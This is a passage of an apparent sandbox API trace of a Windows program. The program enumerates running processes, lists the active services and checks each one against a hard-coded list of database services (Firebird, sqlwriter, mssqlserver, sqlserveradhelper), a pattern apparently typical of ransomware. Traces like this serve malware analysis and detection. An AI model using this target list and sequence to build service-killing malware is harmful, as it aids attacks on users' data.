lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0068.290] lstrlenW (lpString="product.exe") returned 11 [0068.290] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0068.291] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0068.291] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0068.292] lstrlenW (lpString="basin.exe") returned 9 [0068.292] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0068.293] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0068.293] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0068.294] lstrlenW (lpString="tested housewives.exe") returned 21 [0068.294] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0068.295] lstrlenW (lpString="conhost.exe") returned 11 [0068.295] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0068.296] lstrlenW (lpString="conhost.exe") returned 11 [0068.296] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.297] lstrlenW (lpString="svchost.exe") returned 11 [0068.297] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0068.298] lstrlenW (lpString="wmxsde.exe") returned 10 [0068.298] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0068.299] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0068.299] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0068.300] lstrlenW (lpString="conhost.exe") returned 11 [0068.300] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x474, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0068.301] lstrlenW (lpString="cmd.exe") returned 7 [0068.301] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0068.302] lstrlenW (lpString="conhost.exe") returned 11 [0068.302] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.303] lstrlenW (lpString="svchost.exe") returned 11 [0068.303] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0068.304] lstrlenW (lpString="mode.com") returned 8 [0068.304] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0068.304] CloseHandle (hObject=0x39c) returned 1 [0068.305] Sleep (dwMilliseconds=0x1f4) [0069.158] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ded18 [0069.314] EnumServicesStatusExW (in: hSCManager=0x6ded18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0069.315] GetLastError () returned 0xea [0069.315] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1d5a) returned 0x3ce4288 [0069.319] EnumServicesStatusExW (in: hSCManager=0x6ded18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ce4288, cbBufSize=0x1d5a, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ce4288, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0069.320] CloseServiceHandle (hSCObject=0x6ded18) returned 1 [0069.320] lstrlenW (lpString="Appinfo") returned 7 [0069.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0069.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0069.321] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0069.321] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0069.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0069.321] lstrlenW (lpString="AppXSvc") returned 7 [0069.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0069.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0069.321] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0069.321] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0069.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0069.321] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0069.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0069.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0069.321] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0069.321] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0069.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0069.321] lstrlenW (lpString="Audiosrv") returned 8 [0069.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0069.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0069.321] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0069.321] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0069.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0069.321] lstrlenW (lpString="BFE") returned 3 [0069.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0069.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0069.321] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0069.321] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0069.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0069.322] lstrlenW (lpString="BITS") returned 4 [0069.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0069.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0069.322] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0069.322] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0069.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0069.322] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0069.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0069.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0069.322] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0069.322] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0069.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0069.322] lstrlenW (lpString="CDPSvc") returned 6 [0069.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0069.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0069.322] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0069.322] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0069.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0069.322] lstrlenW (lpString="ClickToRunSvc") returned 13 [0069.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0069.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0069.322] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0069.322] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0069.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0069.322] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0069.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0069.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0069.323] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0069.323] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0069.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0069.323] lstrlenW (lpString="CryptSvc") returned 8 [0069.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0069.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0069.323] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0069.323] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0069.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0069.323] lstrlenW (lpString="DcomLaunch") returned 10 [0069.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0069.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0069.323] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0069.323] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0069.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0069.323] lstrlenW (lpString="DeviceAssociationService") returned 24 [0069.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0069.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0069.323] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0069.323] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0069.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0069.323] lstrlenW (lpString="Dhcp") returned 4 [0069.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0069.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0069.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0069.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0069.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0069.324] lstrlenW (lpString="Dnscache") returned 8 [0069.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0069.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0069.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0069.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0069.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0069.324] lstrlenW (lpString="DoSvc") returned 5 [0069.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0069.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0069.324] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0069.324] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0069.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0069.324] lstrlenW (lpString="DPS") returned 3 [0069.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0069.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0069.324] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0069.324] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0069.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0069.325] lstrlenW (lpString="DusmSvc") returned 7 [0069.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0069.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0069.325] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0069.325] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0069.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0069.325] lstrlenW (lpString="EventLog") returned 8 [0069.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0069.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0069.325] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0069.325] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0069.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0069.325] lstrlenW (lpString="EventSystem") returned 11 [0069.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0069.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0069.325] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0069.326] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0069.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0069.326] lstrlenW (lpString="FontCache") returned 9 [0069.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0069.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0069.326] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0069.326] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0069.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0069.326] lstrlenW (lpString="gpsvc") returned 5 [0069.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0069.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0069.326] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0069.326] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0069.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0069.326] lstrlenW (lpString="iphlpsvc") returned 8 [0069.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0069.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0069.326] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0069.326] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0069.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0069.326] lstrlenW (lpString="KeyIso") returned 6 [0069.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0069.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0069.326] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0069.326] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0069.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0069.327] lstrlenW (lpString="LanmanServer") returned 12 [0069.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0069.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0069.327] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0069.327] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0069.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0069.327] lstrlenW (lpString="LanmanWorkstation") returned 17 [0069.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0069.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0069.327] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0069.327] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0069.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0069.327] lstrlenW (lpString="lfsvc") returned 5 [0069.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0069.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0069.327] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0069.327] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0069.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0069.327] lstrlenW (lpString="lmhosts") returned 7 [0069.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0069.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0069.327] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0069.327] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0069.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0069.327] lstrlenW (lpString="LSM") returned 3 [0069.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0069.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0069.328] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0069.328] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0069.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0069.328] lstrlenW (lpString="MapsBroker") returned 10 [0069.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0069.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0069.328] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0069.328] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0069.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0069.328] lstrlenW (lpString="MpsSvc") returned 6 [0069.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0069.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0069.328] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0069.328] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0069.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0069.328] lstrlenW (lpString="NcbService") returned 10 [0069.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0069.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0069.328] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0069.328] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0069.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0069.328] lstrlenW (lpString="netprofm") returned 8 [0069.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0069.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0069.328] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0069.328] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0069.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0069.329] lstrlenW (lpString="NlaSvc") returned 6 [0069.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0069.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0069.329] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0069.329] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0069.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0069.329] lstrlenW (lpString="nsi") returned 3 [0069.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0069.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0069.329] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0069.329] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0069.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0069.329] lstrlenW (lpString="PcaSvc") returned 6 [0069.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0069.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0069.329] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0069.329] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0069.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0069.329] lstrlenW (lpString="PlugPlay") returned 8 [0069.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0069.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0069.329] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0069.329] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0069.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0069.329] lstrlenW (lpString="Power") returned 5 [0069.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0069.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0069.330] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0069.330] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0069.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0069.330] lstrlenW (lpString="ProfSvc") returned 7 [0069.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0069.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0069.330] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0069.330] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0069.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0069.330] lstrlenW (lpString="RpcEptMapper") returned 12 [0069.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0069.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0069.330] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0069.330] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0069.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0069.330] lstrlenW (lpString="RpcSs") returned 5 [0069.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0069.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0069.330] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0069.330] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0069.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 